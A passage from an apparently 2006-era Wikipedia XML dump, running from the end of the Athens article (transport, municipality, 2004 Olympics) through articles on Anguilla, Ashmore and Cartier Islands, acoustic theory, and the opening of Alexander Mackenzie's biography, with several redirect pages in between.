The [[Athens Metro]] is one of the most modern and efficient systems in the world. It has four lines, three of which are distinguished by the colours used in maps and signs (green, blue and red). The green line, which is the oldest and for the most part runs on the ground, connects [[Piraeus]] to [[Kifissia]]. The other two lines were constructed mainly during the 1990s and the first sections opened in [[January]] [[2000]]. They run entirely underground. The blue line runs from [[Monastiraki]] to [[Doukissis Plakentias]] and the [[Eleftherios Venizelos International Airport]], and the red line from [[Aghios Antonios]] to [[Aghios Dimitrios]]. Extensions to both lines are under construction, most notably westwards to Egaleo and eastwards to the Old Hellinikon Airport East Terminal (future Metropolitan Park). The fourth line is the Proastiakos (suburban) which runs from the [[Eleftherios Venizelos International Airport]] to Athens Central train station. The whole network is managed by three different companies (ISAP line 1)[http://www.isap.gr], Attiko Metro (lines 2 &amp; 3) and Proastiakos (line 4).

The whole Metro system of Athens is currently 91 km long. The mass transport system in Athens has been drastically improved and expanded in the recent years, up until [[1999]] the length of the system was of just 25 km (23 stations) and comprised of only one line. It's expected that by 2009 it will reach 124 km (72 stations), after the construction of the current phase of expansions is completed.

The bus service consists of a network of lines on which normal buses, [[trolley bus|electric buses]], and natural gas buses run (the largest fleet of natural gas run buses in Europe). There are plenty of bus lines serving Athens and the suburbs, and they link the centre of the city with most of the suburbs and neighborhoods.  

The tram runs from Syntagma Square to [[Palaio Faliro]], where the line splits in two branches, towards [[Glyfada]] and Neo Faliro. Both Syntagma - Palaio Faliro - Neo Faliro and the Glyfada branch opened on [[19 July]] [[2004]]. Further extensions are planned towards [[Piraeus]] and Vouliagmeni.

There are many [[taxicab|taxis]] in Athens, which  can be recognised by the yellow colour of the vehicles. They are quite cheap and during rush hours it is considered normal to hail a taxi even when it is in service (although, strictly speaking, this is forbidden); in that case, if the one halting it happens to go to the same direction as the customer and the customer does not mind (although this is never brought up or an issue), he is also allowed in, and each one pays normally as if they were the only customer.

Athens is served, since [[March]] [[2001]], by the [[Eleftherios Venizelos International Airport]] at [[Spata]], east of the city, about a 45-minute taxi ride from the city centre. There is also an express bus service connecting the airport to the metro system and 2 express bus services connecting the airport to [[Piraeus]] port and the city centre respectively. Athens is also the hub of the Greek National Railway System, and ferries from [[Piraeus]] Port travel to all Greek islands.

There are two motorways that travel to the west towards [[Patra]]: ([[Greece Interstate 8A|GR-8A]], [[E94]]) and to the north towards [[Thessaloniki]] ([[Greece Interstate 1|GR-1]], [[E75]]). In [[2001]]-[[2004]] a ring road toll-motorway ([[Attiki Odos]]) was gradually completed, which extends from [[Eleusis|Elefsina]] on the west to the airport after circling the city from the north, plus another from [[Kaisariani]] to [[Glyka Nera]] where it meets the main road for [[Eleusis]] and the airport. Its total length is now about 70 km, up from 18 km in March 2001 when the first section opened to traffic. There are about 21 exits and 4 junctions, up from 8.

See [[Athens Mass Transit System]] for more on this topic.

==Municipality==
[[Image:Athens_seal.jpg|thumb|100px||right|'''Municipality of Athens''' Seal]]
The modern city of Athens consists of what were formerly distinct towns and villages which gradually expanded and merged into a single large metropolis; most of this expansion occurred in the second half of the 20th century. Greater Athens is now divided into 54 municipalities, the largest of which is the '''Municipality of Athens''' or ''Dimos Athinaion'', with about 750,000 people (the next largest are [[Piraeus|Municipality of Piraeus]], [[Peristeri|Municipality of Peristeri]] and [[Peristeri|Municipality of Kallithea]]). ''Athens'' can therefore refer either to the entire metropolitan area or to the Municipality of Athens. Each of the municipalities of Athens has an elected district council and a directly elected mayor. Mrs. [[Dora Bakoyanni]] of the conservative [[New Democracy]] party was [[Mayor of Athens]] from [[1 January]] [[2003]] until [[15 February]] [[2006]], when she joined Greek Cabinet as Minister of Foreign affairs. She was the 76th Mayor of Athens and the first female to hold the post in the history of the city. She was replaced by Theodoros Mpehrakis.
The Municipality of Athens is divided into 7 ''municipal districts'' or ''demotika diamerismata''. The 7-district division however is mainly used for administrative purposes , while for Athenians the most popular way of dividing the city proper is through its ''neighborhoods'' (usually referred to as areas in English), each with its own distinct history and characteristics. 
For someone unfamiliar with Athens, getting to know about these ''neighborhoods'' can often come very handy for exploring and understanding the city. 
&lt;br clear=&quot;all&quot;&gt;

==Olympics 2004==
&lt;!-- Unsourced image removed: [[Image:ceremony4.jpg|thumb|200px|right|Scene from the opening ceremony of the Athens Olympics 2004]] --&gt;
[[Image:3D View of Athens.jpg|thumb|200px|right|Simulated view of Athens from above]]
Athens was awarded the [[2004 Summer Olympics]] on [[September 5]], [[1997]] in [[Lausanne]], [[Switzerland]], after having lost a previous bid to host the [[1996 Summer Olympics]], the celebration of the 100th anniversary of the modern [[Olympic Games]], to [[Atlanta]], [[USA]]. It was to be the second time Athens had hosted the Olympic Games, the first being in [[1896]].

In [[1997]], Athens made an improved bid based largely on an appeal to Olympic history. In the last round of voting, Athens defeated [[Rome]], 66 [[vote]]s to 41. Before this, [[Buenos Aires]], [[Stockholm]], and [[Cape Town]], had already been eliminated from consideration after receiving fewer votes.

In the first three years of preparations, the [[International Olympic Committee]] repeatedly expressed  concerns over the status of progress of construction work of the new Olympic venues. In [[2000]] the Organizing Committee's president was replaced by [[Gianna Angelopoulos-Daskalaki]], who was the president of the Bidding Committe back in [[1997]], and preparations began at an accelerated pace. Although the heavy cost was criticized, as is not unusual with Olympic preparations, Athens was transformed into a modern city that enjoys state-of-the-art technology in transportation and urban development. Some of the most modern sporting venues in the world were created, almost all of which were fully ready on schedule. The 2004 Games were adjudged a huge success, as both security and organization were exceptionally good and only a few visitors reported minor problems, mainly concerning transportation or accommodation issues. Essentially, the only notable problem was a somewhat sparse attendance of some preliminary events, during the first days of competition. Eventually, however, a total of more than 3.2 million tickets were sold [http://216.239.59.104/search?q=cache:nBu-MEzPTloJ:www.worldmayor.com/results05/profile_bakoyannis.html+2004+athens+olympics+tickets+3.2+million&amp;hl=en], which was higher than any other Olympics with the exception of [[Sydney]] (more than 5 million tickets were sold there in [[2000]]).

==See also==
* [[Athens Metro]]
* [[Eurovision Song Contest 2006]]
* [[Hellenic civilization]]
* [[Politics of Greece]]
* [[University of Athens]]

==Cities nicknamed &quot;Athens&quot;==
''See [[Athens (disambiguation)]] for other cities named &quot;Athens&quot;.''
* Athens of the East - [[Madurai|Madurai, India]]
* Athens of the West - [[Berkeley, California]]
* Athens of the South - [[Nashville, Tennessee]]
* Athens of the North - [[Edinburgh|Edinburgh, Scotland]]
* Athens of America - [[Boston, Massachusetts]]
* Spree Athens - [[Berlin]], Germany
* Athens on the Isar - [[Munich]], Germany
* Athens of Latin America - [[Bogotá]], [[Colombia]]
* Athens of Finland - [[Jyväskylä]], Finland
* Serbian Athens - [[Novi Sad|Novi Sad, Serbia and Montenegro]]
* Athens of Ireland - [[Cork]], [[Ireland]]

==External links==
*[http://www.cityofathens.gr City of Athens official website]
*[http://www.athensguide.org/pictures-of-athens.html Pictures of Athens]
*[http://www.athens-today.com/ Take a long virtual tour of Athens]
*[http://www.culture2000.tee.gr/ Athens contemporary architecture and suggested walking routes]
*[http://www.timeoutathens.gr/englishnew/default.asp/ TimeOut Athens - Find out what's on in Athens]
*[http://www.athinorama.gr/ ''Athenorama'': the city's oldest weekly entertainment guide (in Greek)]
*[http://www.oasa.gr/ Journey planner by the city's transport authority]
*[http://www.athens2004.com/ 2004 Olympics official website]
*[http://www.chem.uoa.gr/Location/AthensMap/Athensmap.htm Interactive Map of Central Athens]
*[http://www.transport.ntua.gr/map/en/ Real time traffic map of Athens]
*[http://www.constitution.org/ari/athen_00.htm The Athenian Constitution, Aristotle]
*[http://earthfromspace.photoglobe.info/spc_athens_greece.html Earth from Space] - Athens

{| width =&quot;75%&quot; border = 2 align=&quot;center&quot;
|-
| width =&quot;35%&quot; align=&quot;center&quot; |
| width =&quot;30%&quot; align=&quot;center&quot; | '''North:''' [[Galatsi]], [[Filothei]]
| width =&quot;35%&quot; align=&quot;center&quot; |
|-
| width =&quot;10%&quot; align=&quot;center&quot; | '''West:''' [[Peristeri]], [[Aigaleo]], [[Tavros]], [[Kallithea]]
| width =&quot;35%&quot; align=&quot;center&quot; | '''Athens'''
| width =&quot;30%&quot; align=&quot;center&quot; | '''East:''' [[Zografou]]
|-
| width =&quot;35%&quot; align=&quot;center&quot; |
| width =&quot;30%&quot; align=&quot;center&quot; | '''South:''' [[Dafni]], [[Ymittos]]
| width =&quot;35%&quot; align=&quot;center&quot; |
|}

&lt;!-- The below are interlanguage links. --&gt;

{{Olympic Summer Games Host Cities}}
{{placeopedia}}


[[Category:Athens| ]]
[[Category:Archaeological sites in Greece]]
[[Category:Capitals in Europe|Greece]]
[[Category:Cities and towns in Greece]]
[[Category:Coastal cities]]
[[Category:Greek prefectural capitals]]
[[Category:Host cities of the Summer Olympic Games]]
[[Category:Eurovision host cities]]

{{Link FA|el}}

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[[zh:雅典]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla</title>
    <id>1217</id>
    <revision>
      <id>41671601</id>
      <timestamp>2006-02-28T23:44:00Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''See [[Anguillidae]] for the zoological genus.''

{| class=&quot;infobox&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Anguilla'''&lt;/big&gt;
|-
|style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Flag of Anguilla.svg|125px|Flag of Anguilla]]
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Coat of Arms of Anguilla.png|90px|Coat of Arms of Anguilla]]
|-
|align=&quot;center&quot; width=&quot;140px&quot;|([[Flag of Anguilla|Full Size]])
|align=&quot;center&quot; width=&quot;140px&quot;|([[Coat of arms of Anguilla|In Detail]])
|}
|-
|align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;|&lt;font size=&quot;-1&quot;&gt;''National [[motto]]:&lt;br/&gt; Each Endeavouring, All Achieving''&lt;/font&gt;
|-
|align=center colspan=2|[[Image:LocationAnguilla.png]]
|-
|width=&quot;115px&quot;|[[Official language]]||[[English language|English]]
|-
|[[Political status]]
|| Non-[[sovereignty|sovereign]], [[Overseas territory]] of the [[U.K]] 
|-
|[[Capital]]||[[The Valley, Anguilla|The Valley]]
|-
|[[Governor of Anguilla|Governor]]||[[Alan Huckle]]
|-
|[[Chief Minister of Anguilla|Chief Minister]] ||[[Osbourne Fleming]]
|-
|[[Area]]&lt;br/&gt;&amp;nbsp;- Total &lt;br/&gt;&lt;br/&gt;&amp;nbsp;- % water||[[List of countries by area|Ranked n/a]]&lt;br&gt;[[1 E7 m²|91 km&amp;sup2;]]&lt;br&gt; 35 mi²&lt;br&gt;Negligible
|-
|[[Population]]&lt;br&gt;
&amp;nbsp;- Total (2002)&lt;br&gt;
&amp;nbsp;- [[Population density|Density]]
|&lt;br&gt;&lt;br&gt;
12,800&lt;br&gt;
140/km&amp;sup2;&lt;br&gt;
363/mi² 
|-
|[[Currency]]||[[East Caribbean dollar]]
|-
|[[Time zone]]||[[Coordinated Universal Time|UTC]] -4
|-
|[[National Song]]||God Bless Anguilla {{ref|national_song}}
|-
|[[Top-level domain|Internet TLD]]||[[.ai]]
|-
|[[List of country calling codes|Calling Code]]||[[Area code 264|1-264]]
|}

'''Anguilla''' is a [[British overseas territory]] in the [[Caribbean]], the most northerly of the [[Leeward Islands]] in the [[Lesser Antilles]]. It consists of 5 islands, with the capital, [[The Valley, Anguilla|The Valley]] situated on the main island of Anguilla. The total area of the territory is 102 square kilometres (39.4 [[square mile|mi²]]), with a population of approximately 14,000 in 2005.

==History==
{{main|History of {{PAGENAME}}}}

First colonized by English settlers in 1650, Anguilla was incorporated into a single British dependency along with the neighbouring islands of [[Saint Kitts]] and [[Nevis]] in the early 19th century, much to the objections of many Anguillans. In 1980, however, Anguilla formally withdrew from the territory, becoming a separate British dependency, which it remains.

==Politics==
{{main|Politics of {{PAGENAME}}}}

Executive authority is invested in [[Elizabeth II of the United Kingdom|The Queen]], who is represented in the territory by the [[Governor of Anguilla|Governor]]. The Governor is appointed by the Queen on the advice of the British Government. Defence and Foreign Affairs remain the responsibility of the [[United Kingdom]].

The constitution of Anguilla came into force in 1982, amended in 1990. The head of the government is the [[Chief Minister of Anguilla|Chief Minister]] who is appointed by the Governor. The legislative branch consists of a [[unicameral parliament]], the House of Assembly, made up of 11 members. Elections are held for 7 seats in the House of Assembly, 2 members being ex-offcio and 2 appointed. 

The current Governor is [[Alan Huckle]], appointed in May 2004. The current Chief Minister is [[Osbourne Fleming]] following the victory of the United Front in elections held during February 2005.

==Geography==
{{main|Geography of {{PAGENAME}}}}
Anguilla is a collection of flat and low-lying islands and [[cay]]s of coral and limestone in the Caribbean Sea, east of Puerto Rico.

The islands and cays in the territory of Anguilla(besides the largest, Anguilla itself) include:
* [[Anguillita Island]]
* [[Dog Island]]
* [[Little Scrub Island]]
* [[Prickly Pear Cays]]
* [[Sandy Island, Anguilla|Sandy Island]]
* [[Scrub Island]]
* [[Seal Island]]
* [[Sombrero, Anguilla|Sombrero]]

==Economy==
{{main|Economy of {{PAGENAME}}}}
[[Image:Anguilla map.png|thumb|250px|Map of Anguilla]]
The island's main industries are fishing and tourism, with offshore banking playing an increasing role in the economy.

==Demographics==
{{main|Demographics of {{PAGENAME}}}}

The majority of Anguillans are [[Protestant]] and are of [[Africa]]n descent.

==Culture==
{{main|Culture of {{PAGENAME}}}}

== Miscellaneous topics ==
*[[Communications in {{PAGENAME}}]]
*[[Transportation in {{PAGENAME}}]]

==Reference==
#{{note|national_song}} {{cite web | url = http://www.gov.ai/national_song.htm | 
title = National Song of Anguilla | 
work = Official Website of the Government of Anguilla | 
accessyear = 2005 | accessdate = October 12 }}
#{{note | UN_decolonisation }} {{cite web | url = http://www.un.org/Depts/dpi/decolonization/trust3.htm | title = Non-Self-Governing Territories listed by General Assembly in 2002 | 
work = United Nations Special Committee of 24 on Decolonization | 
accessyear = 2005 | accessdate = March 10 }}

==External links==
* [http://www.freeanguilla.com/ Free Anguilla - A Network of Anguilla Forums (non partisan discussion)
* [http://www.anguillanews.com/ Anguilla News] (News, People profiles, Talk, Carnival and more)
* [http://www.gov.ai/ Government of Anguilla] (Official web site)
* [http://www.loc.gov/rr/international/hispanic/anguilla/anguilla.html Library of Congress Portals on the World - Anguilla]
* [http://www.cia.gov/cia/publications/factbook/geos/av.html CIA - The World Factbook -- Anguilla] - [[CIA]]'s Factbook on Anguilla
* [http://www.caribbeandiving.com/resources/Anguilla.html Anguilla] Resources
* [http://www.caribbean-on-line.com/islands/ag/agmap.shtml Map of Anguilla]

[[Image:Sandy_Ground_Anguilla.jpg|thumb|465px|left|Overlooking Sandy Ground, Anguilla]]

{{West Indies}}
{{Caricom}}
{{British dependencies}}

[[Category:Anguilla]]
[[Category:Caribbean islands]]
[[Category:Special territories of the European Union]]

[[ca:Anguilla]]
[[de:Anguilla]]
[[el:Ανγκουίλα]]
[[eo:Angvilo]]
[[es:Anguila (dependencia)]]
[[et:Anguilla]]
[[fi:Anguilla]]
[[fr:Anguilla]]
[[gl:Anguila - Anguilla]]
[[he:אנגווילה]]
[[hu:Anguilla]]
[[id:Anguilla]]
[[io:Anguila]]
[[is:Angvilla]]
[[it:Anguilla (isola)]]
[[ja:アンギラ]]
[[ko:앵귈라]]
[[lt:Angilija]]
[[lv:Angiļa]]
[[nds:Anguilla]]
[[nl:Anguilla (eiland)]]
[[no:Anguilla]]
[[pl:Anguilla]]
[[pt:Anguilla]]
[[ro:Anguilla]]
[[simple:Anguilla]]
[[sl:Angvila]]
[[sr:Ангиља]]
[[sv:Anguilla]]
[[tr:Anguilla]]
[[uk:Ангілья]]
[[zh:安圭拉]]
[[zh-min-nan:Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/History</title>
    <id>1218</id>
    <revision>
      <id>15899714</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Geography</title>
    <id>1219</id>
    <revision>
      <id>15899715</id>
      <timestamp>2002-08-03T16:20:50Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Geography of Anguilla</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Transnational issues</title>
    <id>1220</id>
    <revision>
      <id>15899716</id>
      <timestamp>2002-10-11T06:49:20Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Military</title>
    <id>1221</id>
    <revision>
      <id>25373041</id>
      <timestamp>2005-10-12T19:11:11Z</timestamp>
      <contributor>
        <username>JesseW</username>
        <id>33352</id>
      </contributor>
      <comment>snap double link</comment>
      <text xml:space="preserve">#REDIRECT [[Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Transportation</title>
    <id>1222</id>
    <revision>
      <id>24813234</id>
      <timestamp>2005-10-05T14:23:00Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Communications</title>
    <id>1223</id>
    <revision>
      <id>15899719</id>
      <timestamp>2002-08-07T17:09:45Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <minor />
      <comment>correct redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/Economy</title>
    <id>1224</id>
    <revision>
      <id>15899720</id>
      <timestamp>2002-08-03T16:22:48Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Anguilla</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Government of Anguilla</title>
    <id>1225</id>
    <revision>
      <id>15899721</id>
      <timestamp>2002-08-04T11:29:34Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Anguilla</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Anguilla/People</title>
    <id>1226</id>
    <revision>
      <id>15899722</id>
      <timestamp>2002-08-20T15:32:56Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Anguilla]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands</title>
    <id>1227</id>
    <revision>
      <id>38450213</id>
      <timestamp>2006-02-06T11:19:58Z</timestamp>
      <contributor>
        <username>JackofOz</username>
        <id>33566</id>
      </contributor>
      <comment>completely separate from the NT generally speaking (it may be deemed part of the NT for particular purposes only); the Dept changed its name at least 7 years ago</comment>
      <text xml:space="preserve">[[Image:AshmoreandCartierIslands.png|frame|Ashmore and Cartier Islands]]
The '''Territory of Ashmore and Cartier Islands''' are two groups of small low-lying uninhabited tropical [[island]]s in the [[Indian Ocean]] situated on the edge of the [[continental shelf]] north-west of [[Australia]] and south of the [[Indonesia]]n island of [[Rote Island|Roti]] at {{coor dm|12|14|S|123|5|E|}}.

The territory includes '''Ashmore Reef''' (West, Middle, and East Islets) and '''Cartier Island''' (70 km east) with, a total area of 199.45 km&lt;sup&gt;2&lt;/sup&gt; within the reefs and including the [[lagoons]], and 114,400 m&lt;sup&gt;2&lt;/sup&gt; of dry land. While they have a total of 74.1 km of shoreline, measured along the outer edge of the reef, there are no ports or harbors, only offshore anchorage. Nearby '''Hibernia Reef''', 42 km Northeast of Ashmore Reef, is not part of the territory. It has no permanently dry land area, although large parts of the reef become exposed during low tide.

*Ashmore Reef 155.40 km&lt;sup&gt;2&lt;/sup&gt; area within reef (including lagoon)
**West Islet, 51,200 m&amp;sup2; land area;
**Middle Islet, 21,200 m&amp;sup2; land area;
**East Islet, 25,000 m&amp;sup2; land area;
*Cartier Reef (44.03 km&lt;sup&gt;2&lt;/sup&gt; area within reef (including lagoon)
**Cartier Island, 17,000 m&amp;sup2; land area;

There is an automatic weather station on West Islet.

The territory is administered from [[Canberra]] by the Australian Department of the Environment and Heritage.  The data code is AT.  Defence is the responsibility of Australia, with periodic visits by the [[Royal Australian Navy]] and [[Royal Australian Air Force]]. The islands are visited by seasonal caretakers.

The '''Ashmore Reef Marine National Nature Reserve''' was established in August [[1983]]. It is of significant [[biodiversity]] value as it is in the flow of the [[Indonesian throughflow]] [[ocean current|current]] from the [[Pacific Ocean]] through the [[Malay archipelago|Indonesian Archipelago]] to the [[Indian Ocean]]. It is also in a surface current west from the [[Arafura Sea]] and [[Timor Sea]]. There are 14 distinct species of [[sea snake]] in the area, more than in any other area. There is also an unusually high level of [[species diversity]] of [[coral]], [[mollusk]]s, and [[fish]]. A memorandum of understanding between the Australian and Indonesian governments allows Indonesian fishermen access to their traditional fishing grounds within the region, subject to limits.

'''Cartier Island Marine Reserve''' includes the entire sand cay of Cartier Island, the reef surrounding it, the ocean for a 7.2 km radius around the island, and 1000 m below the seafloor. It was proclaimed in [[2000]].

There is no economic activity in the Territory.

As Ashmore Reef is the closest point of Australian territory to Indonesia, it has been a popular target for [[people smugglers]] to take [[asylum seekers]] to Australia. They were transported at great personal risk and expense in leaky fishing boats and dumped on the island, expecting to be rescued by Australia and granted [[refugee]] status there. As Australia was not the [http://refugeethesaurus.org/hms/refugee_obj.php?type=terms&amp;id=2143 country of first asylum] for these &quot;[[boat people]]&quot;, Australia did not consider it had a responsibility to accept them. A number of things were done to discourage the practice such as attempting to have the people smugglers arrested in Indonesia; [[Mandatory detention in Australia|mandatory detention]] of all arrivals until their status could be determined; the so-called [[Pacific Solution]] of processing them in third countries; and finally excising these and many other small islands from the [[Australian migration zone]].

&lt;br clear=all&gt;
==External link==
* [http://ea.gov.au/coasts/mpa/cartier/ Cartier Island Marine Reserve]
* [http://www.cia.gov/cia/publications/factbook/geos/at.html CIA - The World Factbook&amp;mdash;Ashmore and Cartier Islands] - [[CIA]]'s Factbook on Ashmore and Cartier Islands
* [http://www.ga.gov.au/education/facts/dimensions/externalterr/ashmore.htm Geoscience Australia&amp;mdash;Ashmore and Cartier Islands]
* [http://www.deh.gov.au/coasts/mpa/ashmore/ Department of the Environment and Heritage&amp;mdash;Ashmore Reef National Nature Reserve]
{{Australia}}

[[Category:Australian states and territories]]
[[Category:Islands]]

[[de:Ashmore- und Cartier-Inseln]]
[[es:Islas Ashmore y Cartier]]
[[eo:Aŝmora kaj Kartia Insuloj]]
[[fr:Îles Ashmore et Cartier]]
[[gl:Illas Ashmore e Cartier]]
[[it:Isole Ashmore e Cartier]]
[[he:איי אשמור וקרטייה]]
[[hu:Ashmore- és Cartier-szigetek]]
[[nl:Ashmore- en Cartiereilanden]]
[[ja:アシュモア・カルティエ諸島]]
[[pl:Wyspy Ashmore i Cartiera]]
[[pt:Ilhas Ashmore e Cartier]]
[[fi:Ashmore ja Cartiersaaret]]
[[zh:阿什莫尔和卡捷岛]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/Geography</title>
    <id>1228</id>
    <revision>
      <id>15899724</id>
      <timestamp>2002-08-31T18:16:37Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Ashmore and Cartier Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/People</title>
    <id>1229</id>
    <revision>
      <id>15899725</id>
      <timestamp>2002-08-20T16:55:53Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/Government</title>
    <id>1230</id>
    <revision>
      <id>15899726</id>
      <timestamp>2002-08-31T18:16:35Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Ashmore and Cartier Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/Transportation</title>
    <id>1231</id>
    <revision>
      <id>15899727</id>
      <timestamp>2002-08-31T18:16:30Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Ashmore and Cartier Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/Economy</title>
    <id>1232</id>
    <revision>
      <id>15899728</id>
      <timestamp>2002-08-31T18:16:32Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Ashmore and Cartier Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Ashmore and Cartier Islands/Military</title>
    <id>1233</id>
    <revision>
      <id>15899729</id>
      <timestamp>2002-08-31T18:16:27Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Ashmore and Cartier Islands]] -- merged</comment>
      <text xml:space="preserve">#REDIRECT [[Ashmore and Cartier Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Acoustic theory</title>
    <id>1234</id>
    <revision>
      <id>26709978</id>
      <timestamp>2005-10-28T14:55:39Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Fixed See also/External links error(s).</comment>
      <text xml:space="preserve">[[Category:Fluid dynamics]]
'''Acoustic theory''' is the field relating to mathematical description of [[sound]] [[waves]]. It is derived from [[fluid dynamics]]. See [[acoustics]] for the [[engineering]] approach.

The propagation of sound waves in air can be modeled by an equation of motion (conservation of [[momentum]]) and an equation of continuity (conservation of [[mass]]).  With some simplifications, in particular constant density, they can be given as follows:
: &lt;math&gt;\rho_0 \frac{\partial}{\partial t} \mathbf{v}(\mathbf{x}, t) + \nabla p(\mathbf{x}, t) = 0&lt;/math&gt;
: &lt;math&gt;\frac{\partial}{\partial t} p(\mathbf{x}, t) + \rho_0 c^2 \nabla \cdot \mathbf{v}(\mathbf{x}, t) = 0&lt;/math&gt;
where &lt;math&gt;p(\mathbf{x}, t)&lt;/math&gt; is the acoustic pressure and &lt;math&gt;\mathbf{v}(\mathbf{x}, t)&lt;/math&gt; is the acoustic fluid velocity vector, &lt;math&gt;\mathbf{x}&lt;/math&gt; is the vector of spatial coordinates &lt;math&gt;x, y, z&lt;/math&gt;, &lt;math&gt;t&lt;/math&gt; is the time, &lt;math&gt;\rho_0&lt;/math&gt; is the static density of air and &lt;math&gt;c&lt;/math&gt; is the speed of sound in air.

==See also==
* [[Transfer function]]
* [[Sound pressure]]
* [[Acoustic impedance]]
* [[Acoustic resistance]]
* [[Gas Laws|law of gases]]
* [[Frequency]]
* [[Fourier analysis]]
* [[Instrumental acoustics]]
* [[Music theory]]
* [[Voice production]]
* [[Formant]]
* [[Speech synthesis]]
* [[Loudspeaker acoustics]]
* [[Lumped component]] model</text>
    </revision>
  </page>
  <page>
    <title>Alexander Mackenzie</title>
    <id>1235</id>
    <revision>
      <id>42099118</id>
      <timestamp>2006-03-03T20:49:38Z</timestamp>
      <contributor>
        <username>Fawcett5</username>
        <id>132013</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{dablink|For other people called ''Alexander Mackenzie'' see [[Alexander Mackenzie (disambiguation)]]}}
{{Infobox PM
 | name=The Hon. Alexander Mackenzie
 | image=Alexander_mackenzie.jpg
 | country=Canada
 | term=[[November 7]], [[1873]] &amp;ndash; [[October 8]], [[1878]]
 | before=[[John A. Macdonald]]
 | after=[[John A. Macdonald]]
 | date_birth=[[January 28]], [[1822]]
 | place_birth=[[Logierait]], [[Scotland]]
 | date_death=[[April 17]], [[1892]]
 | place_death=[[Toronto]], [[Ontario]]
 | party=[[Liberal Party of Canada]]
}}
'''Alexander Mackenzie''', [[Queen's Privy Council for Canada|PC]] ([[January 28]], [[1822]] &amp;ndash; [[April 17]], [[1892]]), a building contractor and writer, was the second [[Prime Minister of Canada]] from [[November 7]], [[1873]] to [[October 8]], [[1878]].

He was born in [[Logierait]], [[Perth and Kinross]], [[Scotland]]. He [[emigrate]]d to [[Canada]] in [[1842]] after completing an education in [[public schools]] at [[Perth, Scotland|Perth]], [[Moulin]], and [[Dunkeld]], Scotland. Mackenzie married Helen Neil ([[1826]]-[[1852]]) in [[1845]] and with her had three children, with only one girl surviving infancy. In [[1853]], he married [[Jane Sym]] ([[1825]]-[[1893]]).

